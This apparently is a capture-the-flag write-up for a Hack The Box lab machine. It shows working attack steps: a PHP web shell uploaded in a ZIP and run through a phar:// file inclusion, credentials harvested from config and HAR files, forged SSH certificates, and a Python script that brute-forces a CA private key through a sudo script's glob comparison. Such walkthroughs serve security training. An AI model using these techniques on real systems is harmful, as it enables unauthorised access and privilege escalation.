Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 78:1e:3b:85:12:64:a1:f6:df:52:41:ad:8f:52:97:c0 (ECDSA)
|_ 256 e1:1a:b5:0e:87:a4:a1:81:69:94:9d:d4:d4:a3:8a:f9 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_ 256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The scan with nmap found two SSH ports and this is especially odd because they have different version numbers. Most likely one of the ports is bound to some kind of virtual machine or container. There’s already a redirect to itrc.ssg.htb
and therefore I add this and the base domain to my /etc/hosts
file.
HTTP
Browsing to itrc.ssg.htb
shows the landing page for the Strategic Solutions Group (SSG) Resource Center. There’s a button to register and for the login. Registering a new account works and I can login. On the dashboard I have access to all my tickets and could create a new one.
I add dummy data for the subject and issue but provide a valid ZIP file for the creation of a ticket. Upon submitting I’m redirected to the dashboard and can see my newly created ticket there. Clicking on it shows the details of said ticket including the uploaded file. Hovering over the link reveals that it was uploaded to http://itrc.ssg.htb/uploads/d4750cee675af579940d63e2a174f8430bdfa937.zip
.
Execution
Having a look at the current URL and I can see http://itrc.ssg.htb/?page=ticket&id=9
and whenever I see navigation based on a parameter (here: page
) I test for local file inclusion. Based on the X-Powered-By: PHP/8.1.29
header and the fact that /index.php
returns a 200 status code, I can infer that a .php
extension is probably added to the value of the page parameter, so including any none PHP files is not feasible.
Since I’m able to upload ZIP files, I’ll try to use the zip://1 and phar://2 filters. For this I prepare a payload in a PHP file and then add that file to a zip before uploading it via a new ticket.
cat shell.php
<?php
system($_REQUEST['cmd']);
?>
zip ryuki.zip shell.php
adding: shell.php (stored 0%)
I already know the likely path to the file and to access the files within the ZIP file, #
has to be used for zip://
and /
for phar://
. Then I obviously have to remove the .php
since it will be added by the page
parameter logic. # is also used as URL fragment and therefore has to be url-encoded.
zip://uploads/26e3dba6420a0a2dfe0dbd7399c986ba3edf3186.zip%23shell&cmd=ls
phar://uploads/26e3dba6420a0a2dfe0dbd7399c986ba3edf3186.zip/shell&cmd=ls
The zip filter does not work, but using the phar://
payload as value for the page parameter returns the output of the ls command. Then replace ls with a reverse shell payload and receive a callback as www-data
.
Privilege Escalation
Shell as msainristil
The shell drops me right into the directory /var/www/itrc
containing the source code of the web application. One of the files there is called db.php
and has the credentials for the MySQL database: jj:ugEG5rR5SG8uPd
.
<?php
$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);
try {
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
die("Connection failed: " . $e->getMessage());
The database is not listening on localhost
but is accessible at host db
. Pinging this reveals the IP 172.223.0.2 and the hostname resource-db.docker_resource
. There are three tables within the resourcecenter
database and the users
table contains usernames and hashed passwords. Unfortunately none of those crack with rockyou.txt
.
mysql -u jj -p -h db
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 42
Server version: 11.4.3-MariaDB-ubu2404 mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use resourcecenter
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [resourcecenter]> show tables;
+--------------------------+
| Tables_in_resourcecenter |
+--------------------------+
| messages |
| tickets |
| users |
+--------------------------+
3 rows in set (0.001 sec)
MariaDB [resourcecenter]> select * from users;
+----+-------------+--------------------------------------------------------------+-------+------------+
| id | user | password | role | department |
+----+-------------+--------------------------------------------------------------+-------+------------+
| 1 | zzinter | $2y$10$VCpu.vx5K6tK3mZGeir7j.ly..il/YwPQcR2nUs4/jKyUQhGAriL2 | admin | NULL |
| 2 | msainristil | $2y$10$AT2wCUIXC9jyuO.sNMil2.R950wZlVQ.xayHZiweHcIcs9mcblpb6 | admin | NULL |
| 3 | mgraham | $2y$10$4nlQoZW60mVIQ1xauCe5YO0zZ0uaJisHGJMPNdQNjKOhcQ8LsjLZ2 | user | NULL |
| 4 | kgrant | $2y$10$pLPQbIzcehXO5Yxh0bjhlOZtJ18OX4/O4mjYP56U6WnI6FvxvtwIm | user | NULL |
| 5 | bmcgregor | $2y$10$nOBYuDGCgzWXIeF92v5qFOCvlEXdI19JjUZNl/zWHHX.RQGTS03Aq | user | NULL |
| 9 | ryuki | $2y$10$I8r28YyJBD4UO6xOG08HEuLeLBdKIZlGZCTcwQQuruSZMhxHlYtNe | user | NULL |
+----+-------------+--------------------------------------------------------------+-------+------------+
6 rows in set (0.000 sec)
Besides the ZIP files I’ve uploaded, there are additional ones within the uploads
directory. c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
is way larger than the rest, so I’ll start with this and have a peek inside. Unzipping the file returns just one har
file, a JSON-formatted archive that is used by web browsers to store the network activity.
ls -la /var/www/itrc/uploads/
total 1164
drwxrwxr-x 1 www-data www-data 4096 Oct 19 16:52 .
drwxr-xr-x 1 www-data www-data 4096 Feb 19 2024 ..
-rw-r--r-- 1 www-data www-data 155 Oct 19 16:52 26e3dba6420a0a2dfe0dbd7399c986ba3edf3186.zip
-rw-rw-r-- 1 www-data www-data 1162513 Feb 6 2024 c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
-rw-r--r-- 1 www-data www-data 157 Oct 19 16:20 d4750cee675af579940d63e2a174f8430bdfa937.zip
-rw-rw-r-- 1 www-data www-data 634 Feb 6 2024 e8c6575573384aeeab4d093cc99c7e5927614185.zip
-rw-rw-r-- 1 www-data www-data 275 Feb 6 2024 eb65074fe37671509f24d1652a44944be61e4360.zip
unzip -d /dev/shm/ c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
inflating: /dev/shm//itrc.ssg.htb.har
Those files can contain sensitive information since everything send to and received by servers is logged, including passwords. Grepping for pass and removing javascript files from the output returns the password 82yards2closeit
for user msainristil
.
grep itrc.ssg.htb.har pass | grep -v .js
"text": "user=msainristil&pass=82yards2closeit",
"name": "pass",
Shell as zzinter / root (container)
The home directory of user msainristil
contains the folder decommision_old_ca
with the private and public SSH key of the certificate authority ITRC Certificate CA
.
ls -la decommission_old_ca/
total 20
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24 2024 .
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 ..
-rw------- 1 msainristil msainristil 2602 Jan 24 2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil 572 Jan 24 2024 ca-itrc.pub
Instead of placing a public key into the .authorized_keys
file, it is also possible to sign a SSH key with a valid CA instead3. Besides root there’s also zzinter mentioned in the /etc/passwd
file and I decide to create a key that is valid for both users.
First I create a new key with ssh-keygen and then follow that up by calling it again to sign my public key. This allows me to use the key to login as root and zzinter (with access to the first flag).
ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/msainristil/.ssh/id_ed25519): ryuki
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ryuki
Your public key has been saved in ryuki.pub
The key fingerprint is:
SHA256:99s3cysHkX5/m63x5SJwzyH/bUcm/w4GXVhPgcdYGtg msainristil@itrc
The key's randomart image is:
+--[ED25519 256]--+
| o.=o+|
| . Eo*.|
| .+ o|
| + . |
| S . o o |
| ...o+o.o|
| o.=**o|
| .==O&|
| ..=@^|
+----[SHA256]-----+
ssh-keygen -s decommission_old_ca/ca-itrc \
-I example \
-n zzinter,root \
./ryuki.pub
Shell as support
Within the home directory of user zzinter there’s a script called sign_key_api.sh
. It asks for a public key, a username, and a principal. Then it does check whether the principal is one of webserver, analytics, support and security. Finally it calls an endpoint on signserver.ssg.htb
to sign the provided public key.
#!/bin/bash
usage () {
echo "Usage: $0 <public_key_file> <username> <principal>"
exit 1
}
if [ "$#" -ne 3 ]; then
usage
fi
public_key_file="$1"
username="$2"
principal_str="$3"
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
public_key=$(cat $public_key_file)
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
As far as I can see there are no auth_principals defined within the /etc/ssh
folder. This probably means that those signed key are used for the other SSH port. Running uname -a
reveals that it’s Ubuntu and hashing one of the hosts keys and comparing it with the hash from the initial nmap scan confirms that this container is listening on port 22.
ssh-keygen -E md5 -lf /etc/ssh/ssh_host_ed25519_key.pub
256 MD5:e1:1a:b5:0e:87:a4:a1:81:69:94:9d:d4:d4:a3:8a:f9 root@buildkitsandbox (ED25519)
On my host I create another SSH key pair and then try my luck with the curl command from the script with different variations based on the usernames and principals in the script.
ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/ryuki/.ssh/id_ed25519): support
Enter passphrase for "support" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in support
Your public key has been saved in support.pub
The key fingerprint is:
SHA256:af9s9rR1mAkkj89m7jcH9mh28X8aGVnTw3o7a9QO1zU ryuki@caliban
The key's randomart image is:
+--[ED25519 256]--+
| |
| . .|
| . . +o|
| . = .E+|
| S . o.o.=|
| . . o .=O=|
| . =.OX=|
| *o.*=@|
| +===*+|
+----[SHA256]-----+
ls -la support*
-rw------- 1 ryuki ryuki 399 Oct 20 10:36 support
-rw-r--r-- 1 ryuki ryuki 95 Oct 20 10:36 support.pub
curl -s signserv.ssg.htb/v1/sign \
-d '{"pubkey": "'"$(cat support.pub)"'", "username": "support", "principals": "support"}' \
-H "Content-Type: application/json" \
-H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" \
| tee support-cert.pub
ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAIJRprucNigVOeC/dpuW47e1vrtjYASps+5x5FFBm9BsZAAAAIAEFQKqO4+jhbHadfzmUMKGngGmtuH476H6JNLSieDNFAAAAAAAAAC8AAAABAAAAB3N1cHBvcnQAAAALAAAAB3N1cHBvcnQAAAAAZwuHP///////////AAAAAAAAAIIAAAAVcGVybWl0LVgxMS1mb3J3YXJkaW5nAAAAAAAAABdwZXJtaXQtYWdlbnQtZm9yd2FyZGluZwAAAAAAAAAWcGVybWl0LXBvcnQtZm9yd2FyZGluZwAAAAAAAAAKcGVybWl0LXB0eQAAAAAAAAAOcGVybWl0LXVzZXItcmMAAAAAAAAAAAAAADMAAAALc3NoLWVkMjU1MTkAAAAggeDwK53LVKHJh+rMLcA2WABxbtDgyhm57MATyY0VKbEAAABTAAAAC3NzaC1lZDI1NTE5AAAAQN+qP1BJCp4Zz1f8Wkv4/LweR/AuZ0gQxbosXVUibhgfStbmkyF6MVJVIB5Dvi/W/peU5eteFXkEqdctYVsgtQ0=
Eventually I find a solution and can log in with a key signed for user support
and principal support
. In order to supply the generated certificate I have to set the CertificateFile parameter as an option4 and use the alternative port 2222.
ssh -o CertificateFile=support-cert.pub \
-i support \
-p 2222 \
support@ssg.htb
Shell as zzinter
With the shell on the host system, I check /etc/ssh/auth_principals
for other valid principals and find three: root
, support
and zzinter
. Obviously root is the first thing I try but only receive an error message because the root access must be granted manually.
cat /etc/ssh/auth_principals/zzinter
zzinter_temp
cat /etc/ssh/auth_principals/support
support
root_user
cat /etc/ssh/auth_principals/root
root_user
The zzinter user uses the zzinter_temp
principal and after repeating the previous steps to generate another key, I can use the certificate to login.
ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/ryuki/.ssh/id_ed25519): zzinter
Enter passphrase for "zzinter" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in zzinter
Your public key has been saved in zzinter.pub
The key fingerprint is:
SHA256:Ag1krv9/91+KsWx7iyzl0pPW0qVHgL3c4yV+S16o0oY ryuki@caliban
The key's randomart image is:
+--[ED25519 256]--+
| .+ |
| o o |
| o . o |
| . . . o |
| . . S . + |
| . . . +o=|
| . *.=o*=|
| . Eo%*Oo=|
| .... OO*+Bo|
+----[SHA256]-----+
curl -s signserv.ssg.htb/v1/sign \
-d '{"pubkey": "'"$(cat zzinter.pub)"'", "username": "zzinter", "principals": "zzinter_temp"}' \
-H "Content-Type: application/json" \
-H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" \
| tee zzinter-cert.pub
ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAIH3K7DqRQzQskNTr75U6SERIpByGK+Aj3R9Vi3TVokeuAAAAIK9+vWNDbBCXhbwNmp5ScKbge+yhHpNk9O0SqWRz1CUEAAAAAAAAADEAAAABAAAAB3p6aW50ZXIAAAAQAAAADHp6aW50ZXJfdGVtcAAAAABnC5Xt//////////8AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAAAAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAAAALc3NoLWVkMjU1MTkAAABADCAXlOtH/zwoTtDtpH6MvN1grWS4FRbRtSa4gVUIl1hfvBGkuBQJjwBT77f2Py5OB7z1JBN2JQvSrqPz656TCQ==
ssh -o CertificateFile=zzinter-cert.pub \
-i zzinter \
-p 2222 \
zzinter@ssg.htb
Shell as root
Checking the sudo privileges for zzinter I can see that running /opt/sign_key.sh
is possible without supplying a password. I have also read access, so I’ll check the contents.
#!/bin/bash
usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}
if [ "$#" -ne 5 ]; then
usage
fi
ca_file="$1"
public_key_file="$2"
username="$3"
principal_str="$4"
serial="$5"
if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if ! [[ $serial =~ ^[0-9]+$ ]]; then
echo "Error: '$serial' is not a number."
usage
fi
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal" "$public_key_file"
The script takes a few parameters, most notably the path to a file with the certificate authority, checks if that file exists and then compares it with the contents of /etc/ssh/ca-it
. In case they match an error is printed and the execution stops. The rest of the script is similar to the one previously found.
I assume that this is the CA responsible to sign all the SSH keys. If I know the contents of ca-it
, I can sign any key and log in as root. Since the contents of that file and one that I can provide are compared, I can use this to bruteforce the contents one character at the time by using *
.
import string
import os
alphabet = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/' + '\n' + '-= '
CA_FILE='/tmp/ca'
CA_CONTENT="""-----BEGIN OPENSSH PRIVATE KEY-----
"""
def is_valid():
output = os.popen(f'sudo -u root /opt/sign_key.sh {CA_FILE} xxx root root_user 12345').read()
return 'Error: Use API for signing with this CA.' in output
while not CA_CONTENT.endswith('-----END OPENSSH PRIVATE KEY----'):
for s in alphabet:
with open(CA_FILE, 'w') as f:
f.write(CA_CONTENT + s + '*')
if is_valid():
CA_CONTENT = CA_CONTENT + s
break
else:
print('Did not find a match in alphabet...')
break
print(CA_CONTENT)
The script runs for some time but eventually outputs the contents of the certificate authority. Then I use this so sign my SSH key for root and login to collect the final flag.
python3 brute.py
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY----
ssh-keygen -s ca.pem \
-z 123 \
-I root \
-V \
-1w:forever \
-n "root_user" \
root.pub
Signed user key root-cert.pub: id "root" serial 123 for root_user valid after 2024-10-13T17:00:57
ssh -i root root@localhost -p 2222
Attack Path
flowchart TD subgraph "Execution" A(Access to Ticket System) --> B(Upload ZIP attachment) B -->|phar:// PHP filter| C(Shell as www-data) end subgraph "Privilege Escalation" C -->|Credentials in HAR file| D(Shell as msainristil) D -->|Backup CA + Signing of SSH key| E(Shell as root in container) E -->|Script to sign keys on subdomain| F(Shell as support) F -->|Find valid principals| G(Shell as zzinter) G -->|Bruteforce CA private key| H(Sign SSH key for root) H --> I(Shell as root) end